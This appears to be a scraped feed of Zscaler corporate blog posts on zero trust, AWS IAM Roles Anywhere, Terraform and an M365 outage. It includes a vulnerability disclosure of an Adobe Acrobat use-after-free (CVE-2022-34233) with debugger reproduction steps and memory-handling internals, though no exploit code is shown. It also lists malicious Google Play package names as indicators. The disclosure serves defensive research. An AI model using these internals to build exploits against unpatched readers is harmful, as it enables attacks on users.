certificate signed by the CA and signs the request with its private key. If the certificate is valid, AWS will return the temporary credentials for that role to the calling workload. IAM Roles Anywhere (Courtesy AWS Identity): Modification to a role’s trust policy Any role that would be assumed by workloads using Roles Anywhere should trust the “rolesanywhere” service by adding the rolesanywhere service to its trust policy. The following trust policy example presents the minimum requirement in a role’s trust policy, for the role to partake in Roles Anywhere: How to distinguish between workloads Workloads can be distinguished by the Organizational Unit (OU) and Subject Common Name (CN) in the certificate. Both, the CN and OU are available in the aws:principalTag key to be used as a condition in the role's trust policy. In the example above, if this role should only be assumed by a workload named “” - the CA would issue the workload a certificate with CN = “” and the role’s trust policy should include the following condition: Security implications One of the biggest challenges in managing IAM in the cloud is answering the question - who can access my cloud? Put differently: Where are my identities? In any cloud environment, the identities are a mix of IAM users, workloads, externally assumed roles, and federated identities. While the need to eliminate usage of IAM users and access keys is clear, the goal should be to reduce complexity, rather than increasing it. The combination of CA and condition keys in rolesanywhere renders them as a cloud identity store, where your identities hide in the CN as defined by the CA and enforced by your condition keys. Imagine a cloud security admin trying to figure out, “who can assume this role from the internet?” going through multiple complex JSON objects of trust policies and chasing the CA config to map the workload assuming the role and accessing the data. To put it in another way, condition keys are hardly where you want to manage your identities that can access your account from the internet. In terms of blast radius management, once rolesanywhere is used in the environment, a compromised CA means a compromised AWS environment, which is non-trivial. In addition, some non-trivial configuration gaps one should be aware of, when deploying this service: While the CN is available as a condition key in the role's trust policy, its usage is not enforced. One could add the rolesanywhere service to the trust policy without any conditions, meaning any entity that presents a valid certificate from the trusted CA could assume the role. Multiple CN strings can be added to the condition of a trust policy, violating the separation of duties and least-privileged approach. The same role can trust rolesanywhere as well as other identities; hence be assumed by the rolesanywhere service and other entities in parallel, creating yet another complexity layer. Source IP of the workload cannot be used in the condition keys of neither the trust policy nor the attached permission policies (While they are available when using access keys and an IAM User). This is because the IP in the request context is set as the caller service (rolesanywhere). If the workload’s IP could be passed in the request context, that could add a significant layer of control. Best practices and recommendations The following best practices are built in and supported by Zscaler’s Posture Control, CNAPP platform: Designate dedicated roles to be assumed via rolesanywhere; do not reuse existing roles that are assumed outside rolesanywhere Designate a single role per workload Group similar workloads into rolesanywhere profiles for better manageability Use session policies in the profile to control the blast radius of a compromise. For example, use the session policies to Deny deletion of S3 Buckets and database instances Deny any IAM action Limit the actions to the relevant services Use CN and OU in a format that aligns with org naming conventions and enables accountability To learn more about Posture Control, schedule a demo or contact us. Wed, 27 Jul 2022 08:00:01 -0700 Aharon Fridman Zero Trust Data Pillar: Understand and Protect This post is the sixth in a series examining how Zscaler supports the move to zero trust as defined by CISA. The protection of data is the key driver behind the implementation of a Zero Trust Architecture (ZTA). As such, the protection and handling of data crosses a number of pillars in the Department of Homeland Security (DHS) Cybersecurity and Infrastructure Security Agency (CISA) maturity model. In fact, the model underlines this crossover stating, “Agency data should be protected on devices, in applications, and networks.” While data protection has to happen at rest and when data in motion, the data pillar deals mainly with data at rest. Data in motion activity is covered in the network & environment pillar. Key to the effort to protect data is the inventory, categorization, and labeling – you can only protect what you know you have. The Federal Zero Trust Strategy begins the process of understanding what data agencies hold with direction to: Create a federal zero trust data security guide that provides a comprehensive, accurate approach to categorizing and tagging data to meet the needs of zero trust. Automate this categorization and security responses Audit access to any data encrypted at rest in the commercial cloud Implement comprehensive logging and information-sharing capabilities These actions provide a new or additional visibility into data and how it is accessed and used. If you do not have visibility into your data and what is happening to it, automation becomes irrelevant . Understanding where your data is and how you can move it is critical for the security orchestration, automation, and response (SOAR) that underpins a zero trust approach. This dependence on data for SOAR creates a chicken and an egg issue as organizations develop strategies for zero trust, making it critical to get the data collection and management piece right. Understanding data loss Data Loss Prevention (DLP) is not just about thwarting malicious activity. It also means stopping everyday activity that puts data at risk like an employee downloading sensitive data to a personal device. The Zscaler solution sits between the user (and their device) and the application, providing protection against data moving where it is not supposed to go. Cloud Browser Isolation (CBI) is key to this effort. It provides the capability to isolate web pages and protects data from moving by allowing the user to view file types in isolation without requiring a download of the files to their local machine. The content loaded on the isolation browser is rendered to the user's end browser using pixel streaming. Follow the user, follow the data With so many users leaving your network and connecting direct-to-cloud to access mission critical business applications, IT loses sight of where people have been with the data they have access to. This creates a significant blind spot, as users bypass gateway security controls, allowing sensitive information to flow out of the network. Zscaler enables data protection that follows users and the applications they are accessing, always protecting against data loss. Zscaler inspects traffic inline, encrypted or not, and ensures SaaS and public cloud applications are secure, providing the needed protection and visibility. Zscaler’s open APIs integrate with data governance solutions to help create automated policy for access​. This enables granular control over who can access what data and what they can do with it once they have access. Read more: Realizing The Federal Zero Trust Maturity Model Zero Trust Network Pillar: Evolving How We Use the Network Zero Trust Application & Workloads Pillar: An App-by-App Approach to Security Zero Trust Device Pillar: Ensuring the Device is More Trustworthy Than the User Zero Trust Identity Pillar: Truly Looking at the Whole Person Wed, 27 Jul 2022 05:00:01 -0700 Jeremy James Analysis of Adobe Acrobat Reader Javascript Doc.print() Use-After-Free Vulnerability (CVE-2022-34233) In July 2022, Adobe released a security update for vulnerabilities in Adobe Acrobat and Reader. The update fixed a vulnerability that is identified as CVE-2022-34233 discovered by the Zscaler ThreatLabz research team. In this blog, we present our analysis of CVE-2022-34233, ​​a Use-After-Free vulnerability in Adobe Acrobat and Reader. Vulnerability Description CVE-2022-34233 is a Use-After-Free vulnerability that could potentially lead to the disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Known Affected Software Configurations Acrobat DC Continuous 22.001.20142 and earlier versions in Windows & macOS Acrobat Reader DC Continuous 22.001.20142 and earlier versions in Windows & macOS Acrobat 2020 Classic 2020   20.005.30334 and earlier versions (Win) Acrobat 2020 Classic 2020  20.005.30331 and earlier versions (Mac) Acrobat Reader 2020 Classic 2020   20.005.30334 and earlier versions (Win) Acrobat Reader 2020 Classic 2020  20.005.30331 and earlier versions (Mac) Acrobat 2017 Classic 2017 17.012.30229 and earlier versions (Win) Acrobat 2017 Classic 2017 17.012.30227 and earlier versions  (Mac)  Acrobat Reader 2017 Classic 2017 17.012.30229 and earlier versions (Win) Acrobat Reader 2017 Classic 2017 17.012.30227 and earlier versions (Mac)     Proof of Concept The vulnerability can be triggered by opening a malicious PDF file. Zscaler ThreatLabz created a PoC file that will cause the following crash. To reproduce this issue, the following steps can be performed: Enable Page Heap in Acrobat.exe In Windbg, open Executable -> File name: Acrobat.exe -> Arguments: /path/to/poc.pdf, then enable Debug child processes also -> Open. Next, issue the command g in Windbg multiple times. Adobe Acrobat will cause a crash after a while. The following crash will be produced: Test Environment Adobe Acrobat Reader DC 64 bits version, Product version: 22.1.20117.0 EScript.api, Product version: 22.1.20117.0 Technical Analysis This Use-After-Free (UAF) vulnerability is triggered when Adobe Reader improperly handles the Doc.print() Javascript API that is filled with specially crafted parameters. In Figure 1, the definition of the Javascript API Doc.print() is shown. Figure 1. The definition of the Javascript API Doc.print() Figure 2 shows the crafted PoC to trigger this vulnerability. Figure 2. Code snippet of the PoC Zscaler ThreatLabz also noticed the same vulnerability can be reproduced by calling the Doc.print() function with no parameters as shown below. In Windbg, when the memory access violation happens, the memory address that triggered the exception can be analyzed, along with the stack backtraces. In Figure 3, the register RDX points to a freed memory region. Therefore, when Adobe Acrobat accesses this freed memory region it will cause a Use-After-Free crash. Figure 3. The comparison between the outputs of command !heap -p -a and kb The two highlighted parts have the same stack backtraces. The following breakpoint can be set to trace how the memory region is freed and then used again. bu Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0xfe2e2e When the breakpoint is hit, the following output is expected in Figure 4. Figure 4. Breakpoint at Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0xfe2e2e At this breakpoint, it calls the function Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0xfe2e2e that is mapped to the function sub_61C26DB0(). Figure 5 shows the code snippet of this function in IDA Pro. Figure 5. The code snippet of the function sub_61C26DB0() The following is the control flow that causes the use-after-free vulnerability: The function sub_600A6A40() is used to allocate a memory region with a size of 0x30 bytes. The function sub_60085798() copies the memory region allocated in step 1 to a new memory region, and stores the pointer to the new memory region in an array. Since the variable v7 is 0x17, it calls the API free() to free the new memory region. The function sub_61C20398() will access the memory region freed in step 3. Mitigation All users of Adobe Acrobat and Reader are encouraged to upgrade to the latest version of this software. Zscaler’s Advanced Threat Protection and Advanced Cloud Sandbox can protect customers against this vulnerability. PDF.Exploit.CVE-2022-34233 References Mon, 01 Aug 2022 08:27:08 -0700 Kai Lu M365 Outage Detected By Zscaler Digital Experience (ZDX) Averts Business Disruption Zscaler Digital Experience detects outage At 6:30 a.m. (GMT +530) on July 21, 2022, Zscaler’s Digital Experience (ZDX) monitoring solution saw a substantial unexpected drop in the ZDX score for M365 services across the globe. Upon further analysis, we noticed packet drops in M365 contributing to a drastic decline in the ZDX Score signaling an M365 outage. The ZDX heatmap clearly details the impact of the outage at a global scale, which provided one of our customers the confidence to shift to another meeting solution, and avoid business disruption. Additionally, some of our customers utilize the ITSM integration with ZDX, where automatic tickets were created with all the details about the issue before Microsoft globally acknowledged the outage. This way, any reactive tickets getting opened would already have the resolution, thereby not impacting mean time to resolve (MTTR) and first response time (FRT). AI-powered analysis identifies root cause of global outage In further analysis, you can see the ZDX Score for the Microsoft Teams application drops to zero for approximately two hours. From within ZDX, service desk teams can easily see that the outage is not a single location or a single user, and get to root cause analysis quickly. Zscaler’s Digital Experience Monitoring Dashboard Showing M365 Global Outage ZDX recently announced an AI-powered root cause analysis capability to automatically identify root causes of performance issues. The goal is to reduce troubleshooting time, eliminate finger-pointing, and get users back to work faster. In this case, the capability delivered. Just select a point in time and click on ‘Analyze Score.’ ZDX leverages AI-powered analysis to correlate data points and provide insights instead of manually sifting through the dashboard. Think of it as the easy button for IT teams. ZDX Score with AI-powered Root Cause Analysis Once you click on the ‘Analyze Score’ button, you will see explanations of what happened. It only takes a few seconds and reduces the amount of time you have to troubleshoot. The root causes analysis identifies that Microsoft Teams availability is impacted. ZDX Score with AI-powered Root Cause Analysis In the ZDX dashboard, you will also see ‘Web Probe Metrics,’ which highlight the impact of reaching the Microsoft Teams application across a timeline with response times. In this case, the response times drop to 0. ZDX Web Probe Metrics Once you understand that the impact is global, it’s critical to focus on areas most impacted, especially based on the time of the outage. Since this was during the night for North America and EMEA, regions such as India would be a key focus area. ZDX allows you to drill into the ZDX Score at a regional level and gather the number of users impacted. ZDX Score by Region As you can see by this example, drilling into India, almost 2K+ users were having an ‘okay’ to ‘poor’ experience. If it’s not caught early enough, this could severely impact service desk teams with outage notifications, causing costly escalations. ZDX User Overview As we realize the impact is across multiple users, it’s always a good idea to check if there is an Internet Service Provider (ISP) issue. ZDX ISP Insights is an easy-to-leverage site to display ISP outages across a global map. As you can see, there isn’t a global ISP issue. ZDX Global ISP Insights Microsoft did acknowledge that an outage occurred on Twitter stating “a recent deployment contained a broken connection to an internal storage service, which has resulted in impact.” Source: Zscaler Digital Experience successfully detected an M365 outage, along with its root cause, giving our customer the confidence they needed to temporarily switch meeting solutions, averting critical impact to their business. Try Zscaler Digital Experience today ZDX helps IT teams monitor digital experiences from the end user perspective to optimize performance and to rapidly fix offending application, network, and device issues. To see how ZDX can help your organization, please contact us. Fri, 22 Jul 2022 08:00:02 -0700 Rohit Goyal IDC Analyst Brief: Securely Enabling Modern Business Requires a Zero Trust Architecture The majority of security architectures in use today were built to protect users who worked in a corporate office, and applications and data that resided in a centralized data center. But the world has changed, and securing users, data, and applications is more complicated than ever. Trends that were already in motion–the migration of applications and data to the cloud and SaaS, increased use of BYOD and unmanaged devices, and users leaving the office to work remotely at home–rapidly accelerated as a result of the global pandemic. Technology trends like IoT and OT were gaining traction at the same time and added to the complexity. Unsurprisingly, these events triggered a sharp rise in ransomware, supply chain attacks, and other threats. Organizations rapidly discovered that traditional security architectures, focused on protecting the network perimeter and everything inside of it, were no longer relevant because they are incapable of addressing today’s sophisticated threats. Protecting the modern business requires a new approach to security. So how are organizations addressing these challenges? Many are turning to zero trust. But despite the fact that the idea of zero trust began more than a decade ago, a lot of confusion remains. In his recent IDC analyst brief, ”Implementing Zero Trust as a Foundation for Secure Business Enablement,” Christopher Rodriguez, Research Director, Network Security Products and Strategies at IDC, discusses the concept of zero trust, seeks to eliminate the confusion, and examines the impact of a zero trust architecture on enterprise security. What is zero trust, anyway? Zero trust is a holistic approach to securing modern organizations, based on least-privileged access and the principle that no user or application should be implicitly trusted. It begins with the assumption that everything is hostile and the network has been compromised, and it uses identity and context to securely connect users to applications using business policies over the internet. Rather than backhauling traffic to data centers for content inspection, zero trust delivers security as a cloud service at the edge, closer to where the user is located. This eliminates backhauling, and minimizes the number of hops between the user and their intended destination, thereby reducing latency and improving the user experience. Building a strong security foundation A zero trust architecture is the foundation upon which organizations can build their security ecosystem. In the IDC analyst brief, Chris identifies and provides detail on six key elements that comprise its core: Granular authorization of all users Strong identity and authentication practices Dynamic context-based policies Universal application of zero trust to all entities, subjects, and resources Continuous threat detection/protection “Need to know” access only connecting authorized users and applications Zero trust is a strategy, and does not specify technologies that are required to implement it. However, current architectures were not designed to provide the tools necessary for zero trust. According to Chris, “The traditional security architecture is showing cracks with each passing year. Yet many organizations continue to take a ‘go with what you know’ approach, attempting to adapt on-premises security tools, firewalls, cloud services, and point solutions." Organizations that take this approach, rather than embracing a true zero trust architecture, will typically struggle to implement zero trust at scale across their enterprises. Charting a path forward Implementing a zero trust architecture enables organizations to optimize their security posture with strong identity validation, context-aware policies (e.g., location, time, device type/status, user behavior), and granular access controls. The zero trust architecture helps businesses reduce risk, eliminate the attack surface, and prevent the lateral movement of threats. The end result is simplified IT, improved costs and regulatory compliance, and a great user experience. Are you thinking about implementing a zero trust architecture? Is zero trust already part of your plans? Read the full IDC Analyst Brief for more details. Chris’ analysis will help you understand the foundational elements and benefits of zero trust, dispel confusion, and reveal considerations for adopting a zero trust architecture. Get your copy today. Tue, 26 Jul 2022 08:00:02 -0700 Jen Toscano How We Rolled Out Zero Trust to Support Our Empowerment Culture As a fast-moving global consumer goods company operating in 25 countries across Asia and Africa, the products in our brand portfolio touch the lives of one in three Indians. That’s why our technology infrastructure – and most importantly, the cybersecurity that underpins operations – is one of our top priorities here at Marico. But beyond security, our company is committed to maintaining our culture of empowerment and innovation, requiring cybersecurity protections that are flexible and customisable enough to enable our workers to focus on their work rather than how they access their applications. This led us to adopt the cloud-native Zscaler Zero Trust Exchange. Partnering with Zscaler enabled us to rapidly roll out Zscaler Internet Access (ZIA) to 3,000 users and replace our VPNs with Zscaler Private Access (ZPA). We also deliver seamless and high-performance access experiences whether a worker is on-site or off with ZPA Private Service Edge. For our journey, we took three key steps that we’d like to share. Step 1: Used a culture-centric approach When we started down the path of zero trust – which is based on least-privileged access and the principle that no user or application should be inherently trusted – we were concerned about jeopardising our culture of empowerment and placing unnecessary restrictions on employees in terms of access on their work devices. That’s why a solution like Zscaler, which strikes a balance between securing data and permitting acceptable activity, was the right choice for providing flexible, granular controls without negatively impacting our users’ experiences. Step 2: Adopted a comprehensive, easily-managed solution After evaluating multiple options, we determined that a platform providing a comprehensive and integrated ecosystem of solutions would free us from the limitations of adopting multiple point products. With the Zero Trust Exchange, we eliminate the complexity of working with multiple vendors and the inherent challenges of ensuring on-demand expandability and scalability. The Zscaler roadmap ensures we can evolve our security infrastructure as new needs develop to stay ahead of advanced threats. Although, historically, when a company made a cybersecurity investment, it also had to increase headcount to manage the resulting technology complexity, with the Zero Trust Exchange, we gained a SaaS-delivered solution that only needs one IT person to manage, providing significant cost savings to the business. Step 3: Insisted on tight integrations with neighbouring solutions Because no security solution exists in a vacuum, it’s vital that your zero trust access platform tightly integrates with your surrounding environment. For example, it should include advanced API-enabled connections to your Security Information and Event Management (SIEM) to ensure event logs and other data transfers seamlessly to accelerate security incident management and remediation. Similarly, smooth integration with your identity management application helps keep application performance high and ensures the delivery of exceptional user experiences without compromising on security. The Zero Trust Exchange provides us with all of this, as well as many other critical IT and business applications, including getting the most out of our Microsoft Azure cloud environment and M365. For a more in-depth discussion of our deployment, I invite you to read the accompanying case study that details how our zero trust journey – in partnership with Zscaler – is helping us achieve our business goals. Thu, 21 Jul 2022 08:00:01 -0700 Mayuresh Purandare How AI is Useful — and Not Useful — for Cybersecurity This article was originally posted on Dark Reading in June 2022. Artificial intelligence has advanced greatly in the past decade. On my phone, I'm reading Apple and Google news that is well-tailored to me, thanks to AI recommendation models. Self-driving cars are already picking up passengers for rides in downtown San Francisco. The same transformation is happening in the cybersecurity world too. However, questions remain: Will AI replace security professionals? Or will AI still be as useful in the zero trust era given that access is tightened to the minimum already? AI was introduced to the center stage of the cybersecurity industry a few years ago, originally to tackle malware detection and anomaly detection use cases. We have come a long way to better understand both the usefulness and the limitations of applying AI to cybersecurity, especially in the zero trust era. AI is still needed First, a zero trust architecture doesn't remove the need for AI. Though zero trust eliminates the attack surface and reduces the chance for the anomaly to happen, zero trust demands AI more. Today, an enterprise user's security policy is typically that person's department security policy. Whether users are in a big or a small department, they all follow very similar, if not the same, security policy, including access control policy. In the zero trust era, we need a personalized, contextual, dynamic, and granular security policy — which is exactly what zero trust is about. Access control, for instance, is no longer based on simple rules but a set of complex policies based on your identity, your device, your posture, your intention, your risks, your content, and a lot of rich data points. However, generating such complex, granular, and personalized policy at scale can be very time-consuming if relying on human rules and heuristics. Different employees will use different applications and such application usage may need to evolve fast in a short period of time. AI is a critical technology to make such an intelligent and personalized security policy recommendation at scale. At the same time, it is impossible for AI to capture or comprehend all the nuances and contexts of any complex environment, so AI may make recommendations that are suboptimal from experts' eyes. With ongoing human feedback, we can improve the AI model and its effectiveness. Threat detection Second, zero trust gives the enterprise much tighter protection than it has had in the past, but no matter how tightened things are, there is always a weak link somewhere. Therefore, we want AI to assist with evasive and unknown threat detection and prevention. Some evasive threats are undetected in time by conventional signature-based or sandbox technology. The SolarWinds supply chain attack is a good example. This global attack turned the SolarWinds Orion software into a weapon, subsequently gaining access to several government systems and thousands of private systems around the world. There was no involvement from any malware by the traditional definition, and it was hard to rely on any single layer of the conventional technology to detect such an attack ahead of time. AI has a good potential to be the technology to do a better job with unknown threat detection because it can "predict" threats that have never been seen before. Practically, we will want to layer multiple security technologies along with AI. For instance, in the case of malware, the tried-and-true approach of signature matching and sandbox will continue to play a key role. AI will complement greatly, but not displace, the conventional technology. Easily understood Third, enterprise customers want to utilize AI in a way that is easily understood and digestible by security professionals. The "explainable AI" may not improve the AI model efficacy on the surface, but it will significantly increase the adoption of AI. For instance, AI may be able to detect an unknown threat, but SecOps teams may want to see which family the threat belongs to before taking an action. Furthermore, AI may be able to generate intelligent and relevant security policy recommendations, but SecOps teams may still want to know the context of why certain recommendations are made before accepting them. Conclusion The cybersecurity industry needs AI to help reduce unknown attacks at scale and come up with granular and contextual security policies at scale to reduce the attack surface. We want the result to be explainable too. AI-powered security tools and products are an amazing digital assistant to SecOps professionals, and professionals are assisting AI technology to advance, too, as we will need humans to verify many of the outputs and/or provide feedback for the AI model to improve. AI is useful to scale the enterprise security functions, like more-intelligent policies and more-intelligent threat detection as discussed above. AI works best when security professionals and AI are complementing each other. In the end, AI is an assistant to security professionals and will not be a replacement for human effort for a long time to come. Wed, 20 Jul 2022 08:00:01 -0700 Howie Xu Zero Trust Identity Pillar: Truly Looking at the Whole Person This post is the fifth in a series examining how Zscaler supports the move to zero trust as defined by CISA. Identity is core to the implementation of zero trust. The Department of Homeland Security (DHS) Cybersecurity and Infrastructure Security Agency (CISA) Zero Trust maturity model defines “identity” as “an attribute or set of attributes that uniquely describe an agency user or entity.” Being able to do this means being able to ensure and enforce that the right users and entities have the right access to the right resources at the right time. Identity through context Many people say that identity is the new perimeter, but that is an oversimplification. In fact, identity is a nexus for context - and context is the new perimeter. More than just tying credentials to a person, zero trust means verifying that the right person is using those credentials. A user can have all the right identity attributes, but still not be authorized for a requested action based on the entire circumstance. The identity pillar of the zero trust framework is about applying context to the credentials trying to access an application or system. With zero trust a number of factors are applied before access is granted. This may include Role – What does this person need to see based on their title and position? Device – Are they using a device that is associated with them? Managed? Compliant? Location – Is this person logging on from a plausible location? Are they logging on from DC one minute and China the next? This deep look at the user moves zero trust beyond the traditional implementation of least-privileged access based solely on authentication. Additionally, a zero trust approach to identity addresses the complexities that are introduced as agencies migrate services to the cloud. Users now have identities among a variety of providers. For ease of access, these identities need to be integrated with on-premise identities in a way that does not increase the attack surface. Identity management as a team sport Zscaler supports zero trust identity management by consuming identity and context from existing Identity Credential Access Management (ICAM) solutions via Security Assertion Markup Language (SAML) and auto-provisioning via System for Cross-domain Identity Management (SCIM). This approach meets the goals set forth in the Federal Zero Trust Strategy, asking agencies to centralize identity management systems, use strong multifactor authentication (MFA), and combine device and user data in authorizing user access. Zscaler works seamlessly with identity systems, keeping authorization in those systems. Because Zscaler does not authenticate the users directly, it is not a viable attack surface for attackers seeking to acquire user credentials. Users are able to sign in once but be continually authorized as they access private applications in various locations. Beyond protecting internal applications from unauthorized access, Zscaler also protects users from potentially malicious content. In-session monitoring allows for outbound traffic to be inspected and any threats intercepted. And identity-based zero trust policies around data protection can ensure that users with access to sensitive data have guardrails around what they can do with that information. All of these protections are rooted in user identity and context. For IT teams, Zscaler’s rich policy framework enables agencies to get as granular as needed to manage access. Read more: Realizing The Federal Zero Trust Maturity Model Zero Trust Network Pillar: Evolving How We Use the Network Zero Trust Application & Workloads Pillar: An App-by-App Approach to Security Zero Trust Device Pillar: Ensuring the Device is More Trustworthy Than the User Tue, 19 Jul 2022 05:00:01 -0700 Lisa Lorenzin Manage Your Zscaler Infrastructure as Code Using HashiCorp Terraform Infrastructure as Code (IaC) The security world understands the value of automation. Eliminating manual tasks and automatically updating policies based on environmental changes reduces administrative effort and improves your security posture. Automation also improves how quickly the organization adapts to changes created from adopting new technology, updating or expanding environments, and revising best practices. Combining native template technologies with third-party tools (like Terraform) easily embeds security into your application development framework. Writing the configuration in code also keeps the settings consistent, reduces the chance of introducing errors, and mitigates deviations between deployments. Think of the last time a single engineer in your organization was the only source of knowledge about your deployment process. How frustrating it was when that engineer left and took that knowledge with them? Chances are, the rest of the team had to scramble to figure out the missing pieces. By defining infrastructure as code, the process is documented for the entire team. Engineers can look at the centralized code and read how the services and processes are tied together-minimizing the risk of losing valuable knowledge. While the information could be documented separately (for example, in a wiki), we all know how difficult it can be trying to find the right information. Infrastructure as Code (IaC) addresses these concerns, and more importantly, provides a strategy for increased efficiency. Why Terraform? HashiCorp’s Terraform is one of the most popular and extensible open-source tools for defining and creating repeatable cloud infrastructure through code. It allows you to configure your infrastructure and services using HashiCorp Configuration Language (HCL). A provider interacts with the various APIs required to create, update and delete resources. Terraform is used to manage infrastructure through providers such as AWS, GCP, and Azure, but also can be used to manage platform as a service (PaaS) and Software as a service (SaaS) resources. The general idea of using Terraform to manage your Zscaler environment is to use it as a single source for creating, editing, and deleting resources in your Zscaler platform. For organizations using Terraform as their tool of choice for defining other parts of their cloud infrastructure, it’s only natural that they would also prefer to configure their Zscaler environment to keep all of their resource configurations defined in a single location. Each time Terraform is executed, it stores information about your service configuration. By default, this information is stored locally in a file named terraform.tfstate, or it can also be stored remotely for use in a team environment. What can Terraform providers do for your Zscaler environment? Organizations using ZPA and ZIA as their zero trust platform can easily integrate one or both of these products into their continuous integration (CI), continuous delivery (CD), and development pipelines. The Zscaler platform gives administrators the flexibility to configure several settings via a friendly admin UI and API. But managing configurations at scale is always challenging—a change made via the API can overwrite a setting made in the admin UI, and vice versa. This creates conflict between teams that want to manage configuration settings with an IaC approach, and the administrative, security, and IT teams that want the autonomy to quickly check and modify settings through the admin UI without the need to write code. Rather than choosing one approach over the other, any changes made via Terraform are immediately visible in the ZPA and/or ZIA consoles. Conversely, if the ZPA and ZIA admin dashboards are intentionally (or accidentally) used to change a setting that is managed by Terraform, that change is caught and flagged by Terraform the next time it’s run—providing an extra layer of protection against unanticipated configuration changes within your Zscaler environment. Introducing Zscaler Terraform providers That’s why we are very excited to announce that HashiCorp has verified both Zscaler Private Access (ZPA) and Zscaler Internet Access (ZIA) Terraform providers! The providers are publicly available in the Terraform Registry and can be referenced in your Terraform configuration file. These two newly-available Terraform providers for ZPA and ZIA automate and enforce your zero trust policies, cloud best practices, deployment, and configuration of ZPA app connectors. The latest version of Terraform is available here. You will need to download the appropriate binaries and have Terraform installed before using the provider. You can learn more about Terraform and providers at the HashiCorp website. Zscaler + Terraform use cases Use case 1: using Terraform instead of the Zscaler admin UI Terraform automates the provisioning and deployment processes of your Zscaler tenants by building the requested state with API calls to the ZPA and ZIA API endpoints. Some of the key benefits of using Terraform and Zscaler together include: Reducing maintenance by making the ZPA and ZIA infrastructure more predictable and deterministic based on the state file configuration. Minimizing ZPA/ZIA management overhead when onboarding new applications or enforcing new security policies. Lowering the ZPA and ZIA infrastructure bus factor risk by defining and employing source files rather than relying on a sysadmin’s memory. Below is a sample ZPA and ZIA Terraform configuration to perform common tasks via the ZPA admin UI. ZPA provider - application segment In addition to creating application segments, server groups, segment groups, and app connector groups, you can also use the ZPA provider to manage: Application server controllers Browser access application segments Access policy rules Access policy timeout rules Access policy forwarding rules Access policy inspection rules ZIA provider – cloud firewall rule In addition to managing ZIA cloud firewall policies, the provider also supports the management of: Admin users and roles User accounts URL filtering rules URL categories URL allowed and disallowed lists via advanced threat protection (ATP) DLP web rules DLP dictionaries . . . and more. Use case 2: eliminate configuration drift Over time, several different teams and administrators might edit ZPA and ZIA configuration policies, making it difficult to keep track of all the various configuration changes. By using Terraform as a single source of truth, any changes to your ZPA or ZIA infrastructure—whether intentional or by accident—are immediately detected based on Terraform’s drift management capabilities. This allows for: Reduced need to analyze audit logs to find any changed configuration. Improved security in case unauthorized configuration changes are detected. A key consideration when using Terraform is that the state file acts as the source of truth for your most recent infrastructure configuration. Operators can use the necessary state files when making updates or changes by employing the Remote State Storage feature from Terraform Cloud. This provides secure storage and access to your organization’s state files, reducing the risk of misconfigurations or errors. These types of changes are traditionally hard to identify, but Terraform can identify any undesired changes the next time it is executed. For more information on the risks associated with configuration drift, read our article: Securing Infrastructure by Embedding Infrastructure as Code (IaC) into Developer Workflows. Use case 3: policy compliance and management Terraform helps enforce policies covering which teams can provision and use certain types of resources. By leveraging ZPA or ZIA providers, organizations can govern and scale the Zscaler platform using automation. ITSM: ticket-based review processes are a bottleneck that can slow down development. Instead, you can use an integration workflow such as the one described in our guide: Zscaler Private Access and HashiCorp Terraform with ServiceNow Approval Workflow Deployment. Workspace management: if your organization leverages the ZIA Terraform provider to configure the Cloud Firewall module managed by the security team, you can restrict them to their specific workspace so that they cannot configure other features or resources not associated with their function. The same applies if your organization is leveraging the ZPA Terraform provider: you can set specific teams to perform changes to an application segment, while other teams can create or change access policies. Terraform enables Zscaler customers to more easily automate security, and ensure security is consistently incorporated into all aspects of the application environment when adopting IaC as part of their CI/CD pipelines. This shift-left approach reduces friction between development and security teams, and provides rapid application deployment and better security posture. For more information on what the ZPA and ZIA providers have to offer, look over the provider documentation on HashiCorp’s Terraform site. To ask questions, post issues, or submit contributions to the ZPA/ZIA provider project, head over to the repositories on GitHub. Additional Resources Terraform Provider for Zscaler Private Access (ZPA) - Introduction Terraform Provider for Zscaler Internet Access (ZIA) - Introduction Terraform Provider for Zscaler Private Access (ZPA) Terraform Provider for Zscaler Internet Access (ZIA) Terraform Providers for the Cloud Terraform Providers Project on GitHub Mon, 18 Jul 2022 08:00:02 -0700 William Guilherme Joker, Facestealer and Coper banking malwares on Google Play store Google Play Store is typically considered to be one of the safest sources for users to find and install android apps. However, threat actors continue to evolve their tactics and are able to successfully upload dangerous apps laced with malware on the Google play store. Recently, the Zscaler ThreatLabz team discovered apps involving multiple instances of the Joker, Facestealer, and Coper malware families spreading in the virtual marketplace. The ThreatLabz team immediately notified the Google Android Security team of these newly identified threats, and they promptly removed the malicious apps from the Google Play Store. The following is the technical analysis of these three malware family payloads that were recently discovered in the Play Store: Joker Malware Joker is one of the most prominent malware families targeting Android devices. Despite public awareness of this particular malware, it keeps finding its way into Google’s official app store by regularly modifying the malware’s trace signatures including updates to the code, execution methods, and payload-retrieving techniques. This malware is designed to steal SMS messages, contact lists, and device information, and to sign the victim up for premium wireless application protocol (WAP) services. Over the past two months, our ThreatLabz researchers discovered the following malicious Joker downloader apps in the Google Play Store: Simple Note Scanner - com.wuwan.pdfscan Universal PDF Scanner - Private Messenger - com.recollect.linkus Premium SMS - com.premium.put.trustsms Smart Messages - com.toukyoursms.timemessages Text Emoji SMS - messenger.itext.emoji.mesenger Blood Pressure Checker - com.bloodpressurechecker.tangjiang Funny Keyboard - com.soundly.galaxykeyboard Memory Silent Camera - com.silentmenory.timcamera Custom Themed Keyboard - com.custom.keyboardthemes.galaxiy Light Messages - Themes Photo Keyboard - com.themes.bgphotokeyboard Send SMS - exazth.message.send.text.sms Themes Chat Messenger - com.relish.messengers Instant Messenger - com.sbdlsms.crazymessager.mmsrec Cool Keyboard - com.colate.gthemekeyboard Fonts Emoji Keyboard - com.zemoji.fontskeyboard Mini PDF Scanner - com.mnscan.minipdf Smart SMS Messages - Creative Emoji Keyboard - com.whiteemojis.creativekeyboard.ledsloard Fancy SMS - con.sms.fancy Fonts Emoji Keyboard - com.symbol.fonts.emojikeyboards Personal Message - Funny Emoji Message - com.funie.messagremo Magic Photo Editor - Professional Messages - com.adore.attached.message All Photo Translator - myphotocom.allfasttranslate.transationtranslator Chat SMS - com.maskteslary.messages Smile Emoji - com.balapp.smilewall.emoji Wow Translator - com.imgtop.camtranslator All Language Translate - com.exclusivez.alltranslate Cool Messages - Blood Pressure Diary - Chat Text SMS - com.echatsms.messageos Hi Text SMS - ismos.mmsyes.message.texthitext.bobpsms Emoji Theme Keyboard - com.gobacktheme.lovelyemojikeyboard iMessager - Text SMS - com.ptx.textsms 